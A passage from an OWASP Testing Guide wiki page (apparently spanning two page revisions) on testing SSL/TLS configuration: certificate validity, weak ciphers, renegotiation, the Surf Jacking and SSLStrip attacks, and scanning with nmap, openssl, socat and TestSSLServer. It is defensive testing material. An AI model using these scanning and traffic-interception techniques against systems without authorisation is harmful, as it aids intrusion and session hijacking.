These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual https service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the –sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services. <br />
<br />
<br />
====Example 1. Testing for certificate validity (manually)====<br />
Rather than providing a fictitious example, this guide includes an anonymized real-life example to stress how frequently one stumbles on https sites whose certificates are inaccurate with respect to naming. The following screenshots refer to a regional site of a high-profile IT company. <br />
<br />
We are visiting a .it site and the certificate was issued to a .com site. Internet Explorer warns that the name on the certificate does not match the name of the site. <br />
<br />
[[Image:SSL Certificate Validity Testing IE Warning.gif]]<br />
<br />
''Warning issued by Microsoft Internet Explorer''<br />
<br />
The message issued by Firefox is different. Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.<br />
<br />
[[Image:SSL Certificate Validity Testing Firefox Warning.gif]]<br />
<br />
''Warning issued by Mozilla Firefox''<br />
<br />
===Testing for other vulnerabilities===<br />
As mentioned previously, there are other types of vulnerabilities that are not related with the SSL/TLS protocol used, the cipher suites or Certificates. Apart from other vulnerabilities discussed in other parts of this guide, a vulnerability exists when the server provides the website both with the HTTP and HTTPS protocols, and permits an attacker to force a victim into using a non-secure channel instead of a secure one.<br />
<br />
<br />
====Surf Jacking====<br />
The Surf Jacking attack [7] was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim’s connection is encrypted using SSL or TLS.<br />
<br />
<br />
The following is a scenario of how the attack can take place:<br />
* Victim logs into the secure website at https://somesecuresite/.<br />
* The secure site issues a session cookie as the client logs in.<br />
* While logged in, the victim opens a new browser window and goes to http:// examplesite/<br />
* An attacker sitting on the same network is able to see the clear text traffic to http://examplesite.<br />
* The attacker sends back a "301 Moved Permanently" in response to the clear text traffic to http://examplesite. The response contains the header “Location: http://somesecuresite /”, which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.<br />
* The victim's browser starts a new clear text connection to http://somesecuresite/ and sends an HTTP request containing the cookie in the HTTP header in clear text<br />
* The attacker sees this traffic and logs the cookie for later use.<br />
<br />
<br />
To test if a website is vulnerable carry out the following tests:<br />
# Check if website supports both HTTP and HTTPS protocols<br />
# Check if cookies do not have the “Secure” flag<br />
<br />
<br />
====SSL Strip====<br />
Some applications supports both HTTP and HTTPS, either for usability or so users can type both addresses and get to the site. Often users go into an HTTPS website from link or a redirect. Typically personal banking sites have a similar configuration with an iframed log in or a form with action attribute over HTTPS but the page under HTTP.<br />
<br />
<br />
An attacker in a privileged position - as described in SSL strip [8] - can intercept traffic when the user is in the http site and manipulate it to get a Man-In-The-Middle attack under HTTPS. An application is vulnerable if it supports both HTTP and HTTPS.<br />
<br />
<br />
===Testing via HTTP proxy===<br />
<br />
Inside corporate environments testers can see services that are not directly accessible and they can access them only via HTTP proxy using the CONNECT method [36]. Most of the tools will not work in this scenario because they try to connect to the desired tcp port to start the SSL/TLS handshake. With the help of relaying software such as socat [37] testers can enable those tools for use with services behind an HTTP proxy.<br />
<br />
<br />
====Example 8. Testing via HTTP proxy==== <br />
<br />
To connect to destined.application.lan:443 via proxy 10.13.37.100:3128 run socat as follows:<br />
<pre><br />
$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128<br />
</pre><br />
<br />
<br />
Then the tester can target all other tools to localhost:9999:<br />
<pre><br />
$ openssl s_client -connect localhost:9999<br />
</pre><br />
<br />
<br />
All connections to localhost:9999 will be effectively relayed by socat via proxy to destined.application.lan:443.<br />
<br />
<br />
== Gray Box testing and example ==<br />
<br />
===Testing for Weak SSL/TLS Cipher Suites===<br />
Check the configuration of the web servers that provide https services. If the web application provides other SSL/TLS wrapped services, these should be checked as well. <br />
<br />
<br />
====Example 9. Windows Server==== <br />
Check the configuration on a Microsoft Windows Server (2000, 2003 and 2008) using the registry key:<br />
<pre>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\</pre><br />
that has some sub-keys including Ciphers, Protocols and KeyExchangeAlgorithms.<br />
<br />
<br />
====Example 10: Apache====<br />
To check the cipher suites and protocols supported by the Apache2 web server, open the ssl.conf file and search for the SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInsecureRenegotiation and SSLCompression directives.<br />
<br />
<br />
===Testing SSL certificate validity – client and server===<br />
Examine the validity of the certificates used by the application at both server and client levels. The usage of certificates is primarily at the web server level, however, there may be additional communication paths protected by SSL (for example, towards the DBMS). Testers should check the application architecture to identify all SSL protected channels.<br />
<br />
<br />
==References==<br />
'''OWASP Resources'''<br />
* [5] [OWASP Testing Guide - Testing for cookie attributes (OTG-SESS-002)|https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)]<br />
* [4][OWASP Testing Guide - Test Network/Infrastructure Configuration (OTG-CONFIG-001)|https://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management_(OWASP-CM-003)]<br />
* [6] [OWASP Testing |https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)][Guide - Testing for Missing HSTS header (OTG-CONFIG-009)|https://www.owasp.org/index.php/Testing_for_Missing_HSTS_header]<br />
* [2] [OWASP Testing Guide - Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|https://www.owasp.org/index.php?title=Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-007)&action=edit&redlink=1]<br />
* [3] [OWASP Testing Guide - Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OWASP-AT-001)]<br />
* [9] [OWASP Testing Guide - Test Content Security Policy (OTG-CONFIG-008)|https://www.owasp.org/index.php/Testing_for_Content_Security_Policy_weakness]<br />
* [22] [OWASP Cheat sheet - Transport Layer Protection|https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet]<br />
* [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure|https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure]<br />
* [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection|https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection]<br />
* [25] [OWASP ASVS 2009 - Verification 10|https://code.google.com/p/owasp-asvs/wiki/Verification_V10]<br />
* [26] [OWASP Application Security FAQ - Cryptography/SSL|https://www.owasp.org/index.php/OWASP_Application_Security_FAQ#Cryptography.2FSSL]<br />
<br />
<br />
'''Whitepapers'''<br />
* [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)|http://www.ietf.org/rfc/rfc5246.txt]<br />
* [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|]<br />
* [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension Definitions|http://www.ietf.org/rfc/rfc6066.txt]<br />
* [11] [SSLv2 Protocol Multiple Weaknesses |http://osvdb.org/56387]<br />
* [12] [Mitre - TLS Renegotiation MiTM|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555]<br />
* [13] [Qualys SSL Labs - TLS Renegotiation DoS|https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks]<br />
* [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices|https://www.ssllabs.com/projects/best-practices/index.html]<br />
* [14] [Qualys SSL Labs - SSL Server Rating Guide|https://www.ssllabs.com/projects/rating-guide/index.html]<br />
* [20] [Qualys SSL Labs - SSL Threat Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]<br />
* [18] [Qualys SSL Labs - Forward Secrecy|https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy]<br />
* [15] [Qualys SSL Labs - RC4 Usage|https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what]<br />
* [16] [Qualys SSL Labs - BEAST|https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls]<br />
* [17] [Qualys SSL Labs - CRIME|https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls]<br />
* [7] [SurfJacking attack|https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf]<br />
* [8] [SSLStrip attack|http://www.thoughtcrime.org/software/sslstrip/]<br />
* [19] [PCI-DSS v2.0|https://www.pcisecuritystandards.org/security_standards/documents.php]<br />
* [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash Functions| http://link.springer.com/chapter/10.1007/11426639_2]<br />
<br />
<br />
'''Tools'''<br />
* [21][Qualys SSL Labs - SSL Server Test|https://www.ssllabs.com/ssltest/index.html]: internet facing scanner<br />
* [27] [Tenable - Nessus Vulnerability Scanner|http://www.tenable.com/products/nessus]: includes some plugins to test different SSL related vulnerabilities, Certificates and the presence of HTTP Basic authentication without SSL.<br />
* [32] [TestSSLServer|http://www.bolet.org/TestSSLServer/]: a java scanner - and also windows executable - includes tests for cipher suites, CRIME and BEAST<br />
* [33] [sslyze|https://github.com/iSECPartners/sslyze]: is a python script to check vulnerabilities in SSL/TLS.<br />
* [28] [SSLAudit|https://code.google.com/p/sslaudit/]: a perl script/windows executable scanner which follows Qualys SSL Labs Rating Guide.<br />
* [29] [SSLScan|http://sourceforge.net/projects/sslscan/] with [SSL Tests|http://www.pentesterscripting.com/discovery/ssl_tests]: a SSL Scanner and a wrapper in order to enumerate SSL vulnerabilities.<br />
* [31] [nmap|http://nmap.org/]: can be used primary to identify SSL-based services and then to check Certificate and SSL/TLS vulnerabilities. In particular it has some scripts to check [Certificate and SSLv2|http://nmap.org/nsedoc/scripts/ssl-cert.html] and supported [SSL/TLS protocols/ciphers|http://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html] with an internal rating.<br />
* [30] [curl|http://curl.haxx.se/] and [openssl|http://www.openssl.org/]: can be used to query manually SSL/TLS services<br />
* [9] [Stunnel|http://www.stunnel.org]: a noteworthy class of SSL clients is that of SSL proxies such as stunnel available at which can be used to allow non-SSL enabled tools to talk to SSL services)<br />
* [37] [socat| http://www.dest-unreach.org/socat/]: Multipurpose relay<br />
* [38] [testssl.sh| https://testssl.sh/ ]<br />
* [99] [breacher.sh|http://bl0g.yehg.net/2014/07/ssl-breacher-yet-another-ssl-test-tool.html]<br />
<br />
<br />
[[Category:Cryptographic Vulnerability]]<br />
[[Category:SSL]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001)&diff=179068Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)2014-07-21T13:56:59Z<p>D0ubl3 h3lix: /* Example 8. Testing SSL/TLS with SSL Breacher */</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
== Brief Summary ==<br />
<br />
Sensitive data must be protected when it is transmitted through the network. Such data can include user credentials and credit cards. As a rule of thumb, if data must be protected when it is stored, it must be protected also during transmission. <br />
<br />
<br />
HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is also possible to use client certificate for mutual authentication. <br />
<br />
<br />
Even if high grade ciphers are today supported and normally used, some misconfiguration in the server can be used to force the use of a weak cipher - or at worst no encryption - permitting to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial of Service attack.<br />
<br />
<br />
== Description of the Issue == <br />
A vulnerability occurs if the HTTP protocol is used to transmit sensitive information [2] (e.g. credentials transmitted over HTTP [3]).<br />
<br />
When the SSL/TLS service is present it is good but it increments the attack surface and the following vulnerabilities exist:<br />
* SSL/TLS protocols, ciphers, keys and renegotiation must be properly configured.<br />
* Certificate validity must be ensured.<br />
<br />
Other vulnerabilities linked to this are:<br />
* Software exposed must be updated due to possibility of known vulnerabilities [4].<br />
* Usage of Secure flag for Session Cookies [5].<br />
* Usage of HTTP Strict Transport Security (HSTS) [6].<br />
* The presence of HTTP and HTTPS both, which can be used to intercept traffic [7], [8].<br />
* The presence of mixed HTTPS and HTTP content in the same page, which can be used to Leak information.<br />
<br />
<br />
===Sensitive data transmitted in clear-text===<br />
The application should not transmit sensitive information via unencrypted channels. Typically it is possible to find basic authentication over HTTP, input password or session cookie sent via HTTP and, in general, other information considered by regulations, laws or organization policy.<br />
<br />
<br />
===Weak SSL/TLS Ciphers/Protocols/Keys===<br />
Historically, there have been limitations set in place by the U.S. government to allow cryptosystems to be exported only for key sizes of at most 40 bits, a key length which could be broken and would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum key size is 128 bits.<br />
<br />
<br />
It is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g. SHA, MD5) used for integrity checking.<br />
<br />
<br />
Briefly, the key points for the cipher suite determination are the following: <br />
# The client sends to the server a ClientHello message specifying, among other information, the protocol and the cipher suites that it is able to handle. Note that a client is usually a web browser (most popular SSL client nowadays), but not necessarily, since it can be any SSL-enabled application; the same holds for the server, which needs not to be a web server, though this is the most common case [9].<br />
#The server responds with a ServerHello message, containing the chosen protocol and cipher suite that will be used for that session (in general the server selects the strongest protocol and cipher suite supported by both the client and server). <br />
<br />
<br />
It is possible (for example, by means of configuration directives) to specify which cipher suites the server will honor. In this way you may control whether or not conversations with clients will support 40-bit encryption only.<br />
<br />
#The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
#The server sends a ServerHelloDone message and waits for a client response.<br />
#Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
===SSL certificate validity – client and server===<br />
<br />
When accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server. The identity of one (the server) or both parties (client and server) is then established by means of digital certificates. So, once the cipher suite is determined, the “SSL Handshake” continues with the exchange of the certificates:<br />
# The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
# The server sends a ServerHelloDone message and waits for a client response.<br />
# Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
In order for the communication to be set up, a number of checks on the certificates must be passed. While discussing SSL and certificate based authentication is beyond the scope of this guide, this section will focus on the main criteria involved in ascertaining certificate validity: <br />
<br />
* Checking if the Certificate Authority (CA) is a known one (meaning one considered trusted);<br />
* Checking that the certificate is currently valid;<br />
* Checking that the name of the site and the name reported in the certificate match.<br />
<br />
<br />
Let's examine each check more in detail. <br />
<br />
* Each browser comes with a pre-loaded list of trusted CAs, against which the certificate signing CA is compared (this list can be customized and expanded at will). During the initial negotiations with an HTTPS server, if the server certificate relates to a CA unknown to the browser, a warning is usually raised. This happens most often because a web application relies on a certificate signed by a self-established CA. Whether this is to be considered a concern depends on several factors. For example, this may be fine for an Intranet environment (think of corporate web email being provided via HTTPS; here, obviously all users recognize the internal CA as a trusted CA). When a service is provided to the general public via the Internet, however (i.e. when it is important to positively verify the identity of the server we are talking to), it is usually imperative to rely on a trusted CA, one which is recognized by all the user base (and here we stop with our considerations; we won’t delve deeper in the implications of the trust model being used by digital certificates). <br />
<br />
<br />
* Certificates have an associated period of validity, therefore they may expire. Again, we are warned by the browser about this. A public service needs a temporally valid certificate; otherwise, it means we are talking with a server whose certificate was issued by someone we trust, but has expired without being renewed. <br />
<br />
<br />
* What if the name on the certificate and the name of the server do not match? If this happens, it might sound suspicious. For a number of reasons, this is not so rare to see. A system may host a number of name-based virtual hosts, which share the same IP address and are identified by means of the HTTP 1.1 Host: header information. In this case, since the SSL handshake checks the server certificate before the HTTP request is processed, it is not possible to assign different certificates to each virtual server. Therefore, if the name of the site and the name reported in the certificate do not match, we have a condition which is typically signaled by the browser. To avoid this, IP-based virtual servers must be used. [33] and [34] describe techniques to deal with this problem and allow name-based virtual hosts to be correctly referenced. <br />
<br />
<br />
===Other vulnerabilities===<br />
The presence of a new service, listening in a separate tcp port may introduce vulnerabilities such as infrastructure vulnerabilities if the software is not up to date [4]. Furthermore, for the correct protection of data during transmission the Session Cookie must use the Secure flag [5] and some directives should be sent to the browser to accept only secure traffic (e.g. HSTS [6], CSP [9]). <br />
<br />
<br />
Also there are some attacks that can be used to intercept traffic if the web server exposes the application on both HTTP and HTTPS [6], [7] or in case of mixed HTTP and HTTPS resources in the same page.<br />
<br />
<br />
== Black Box Testing ==<br />
<br />
===Testing for sensitive data transmitted in clear-text===<br />
Various types of information which must be protected can be also transmitted in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for credentials [3] and other kind of data [2]. <br />
<br />
<br />
=====Example 1. Basic Authentication over HTTP=====<br />
A typical example is the usage of Basic Authentication over HTTP because with Basic Authentication, after log in, credentials are encoded - and not encrypted - into HTTP Headers.<br />
<br />
<pre><br />
$ curl -kis http://example.com/restricted/<br />
HTTP/1.1 401 Authorization Required<br />
Date: Fri, 01 Aug 2013 00:00:00 GMT<br />
WWW-Authenticate: Basic realm="Restricted Area"<br />
Accept-Ranges: bytes<br />
Vary: Accept-Encoding<br />
Content-Length: 162<br />
Content-Type: text/html<br />
<br />
<html><head><title>401 Authorization Required</title></head><br />
<body bgcolor=white><br />
<h1>401 Authorization Required</h1><br />
<br />
Invalid login credentials!<br />
<br />
</body></html><br />
</pre><br />
<br />
<br />
===Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabilities===<br />
The large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task. <br />
<br />
At the time of writing these criteria are widely recognized as minimum checklist:<br />
* Weak ciphers must not be used (e.g. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).<br />
* Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design [11]).<br />
* Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]).<br />
* No Export (EXP) level cipher suites, due to can be easly broken [10].<br />
* X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits).<br />
* X.509 certificates must be signed only with secure hashing algoritms (e.g. not signed using MD5 hash, due to known collision attacks on this hash).<br />
* Keys must be generated with proper entropy (e.g, Weak Key Generated with Debian) [14].<br />
<br />
A more complete checklist includes:<br />
* Secure Renegotiation should be enabled.<br />
* MD5 should not be used, due to known collision attacks. [35]<br />
* RC4 should not be used, due to crypto-analytical attacks [15].<br />
* Server should be protected from BEAST Attack [16].<br />
* Server should be protected from CRIME attack, TLS compression must be disabled [17].<br />
* Server should support Forward Secrecy [18].<br />
<br />
<br />
The following standards can be used as reference while assessing SSL servers:<br />
* PCI-DSS v2.0 in point 4.1 requires compliant parties to use "strong cryptography" without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19].<br />
* Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21].<br />
* OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26].<br />
<br />
<br />
Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan [29]) and commercial (e.g. Tenable Nessus [27]), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl [30] or use the tool’s output as an input for manual evaluation using the references.<br />
<br />
<br />
Sometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as socat [37].<br />
<br />
<br />
====Example 2. SSL service recognition via nmap====<br />
<br />
The first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are - but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).<br />
<br />
In this example we search for SSL services using nmap with “-sV” option, used to identify services and it is also able to identify SSL services [31]. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.<br />
<br />
<pre><br />
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up, received user-set (0.20s latency).<br />
Not shown: 89 filtered ports<br />
Reason: 89 no-responses<br />
PORT STATE SERVICE REASON VERSION<br />
21/tcp open ftp syn-ack Pure-FTPd<br />
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)<br />
25/tcp open smtp syn-ack Exim smtpd 4.80<br />
26/tcp open smtp syn-ack Exim smtpd 4.80<br />
80/tcp open http syn-ack<br />
110/tcp open pop3 syn-ack Dovecot pop3d<br />
143/tcp open imap syn-ack Dovecot imapd<br />
443/tcp open ssl/http syn-ack Apache<br />
465/tcp open ssl/smtp syn-ack Exim smtpd 4.80<br />
993/tcp open ssl/imap syn-ack Dovecot imapd<br />
995/tcp open ssl/pop3 syn-ack Dovecot pop3d<br />
Service Info: Hosts: example.com<br />
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .<br />
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds<br />
</pre><br />
<br />
<br />
====Example 3. Checking for Certificate information, Weak Ciphers and SSLv2 via nmap====<br />
Nmap has two scripts for checking Certificate information, Weak Ciphers and SSLv2 [31].<br />
<br />
<pre><br />
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up (0.090s latency).<br />
rDNS record for 127.0.0.1: www.example.com<br />
PORT STATE SERVICE<br />
443/tcp open https<br />
| ssl-cert: Subject: commonName=www.example.org<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 1024<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
465/tcp open smtps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
993/tcp open imaps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
995/tcp open pop3s<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds<br />
</pre><br />
<br />
<br />
====Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)====<br />
<br />
Openssl [30] can be used for testing manually SSL/TLS. In this example the tester tries to initiate a renegotiation by client [m] connecting to server with openssl. The tester then writes the fist line of an HTTP request and types “R” in a new line. He then waits for renegotiaion and completion of the HTTP request and checks if secure renegotiaion is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers and for other vulnerabilities. <br />
<br />
<pre><br />
$ openssl s_client -connect www2.example.com:443<br />
CONNECTED(00000003)<br />
depth=2 ******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
---<br />
Certificate chain<br />
0 s:******<br />
i:******<br />
1 s:******<br />
i:******<br />
2 s:******<br />
i:******<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
******<br />
-----END CERTIFICATE-----<br />
subject=******<br />
issuer=******<br />
---<br />
No client certificate CA names sent<br />
---<br />
SSL handshake has read 3558 bytes and written 640 bytes<br />
---<br />
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
SSL-Session:<br />
Protocol : TLSv1<br />
Cipher : DES-CBC3-SHA<br />
Session-ID: ******<br />
Session-ID-ctx: <br />
Master-Key: ******<br />
Key-Arg : None<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
Start Time: ******<br />
Timeout : 300 (sec)<br />
Verify return code: 20 (unable to get local issuer certificate)<br />
---<br />
</pre><br />
<br />
<br />
Now the tester can write the first line of an HTTP request and then R in a new line.<br />
<pre><br />
HEAD / HTTP/1.1<br />
R<br />
</pre><br />
<br />
Server is renegotiating<br />
<pre><br />
RENEGOTIATING<br />
depth=2 C******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
</pre><br />
<br />
And the tester can complete our request, checking for response.<br />
<pre><br />
HEAD / HTTP/1.1<br />
<br />
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. )<br />
Connection: close<br />
Pragma: no-cache<br />
Cache-Control: no-cache<br />
Content-Type: text/html<br />
Content-Length: 1792 <br />
<br />
read:errno=0<br />
</pre><br />
<br />
Even if the HEAD is not permitted, Client-intiated renegotiaion is permitted.<br />
<br />
<br />
====Example 5. Testing supported Cipher Suites, BEAST and CRIME attacks via TestSSLServer====<br />
<br />
TestSSLServer [32] is a script which permits the tester to check the cipher suite and also for BEAST and CRIME attacks. BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability of CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the use of RC4, but this is now discouraged due to a crypto-analytical attack to RC4 [15].<br />
<br />
<br />
An online tool to check for these attacks is SSL Labs, but can be used only for internet facing servers. Also consider that target data will be stored on SSL Labs server and also will result some connection from SSL Labs server [21].<br />
<br />
<pre><br />
$ java -jar TestSSLServer.jar www3.example.com 443<br />
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2<br />
Deflate compression: no<br />
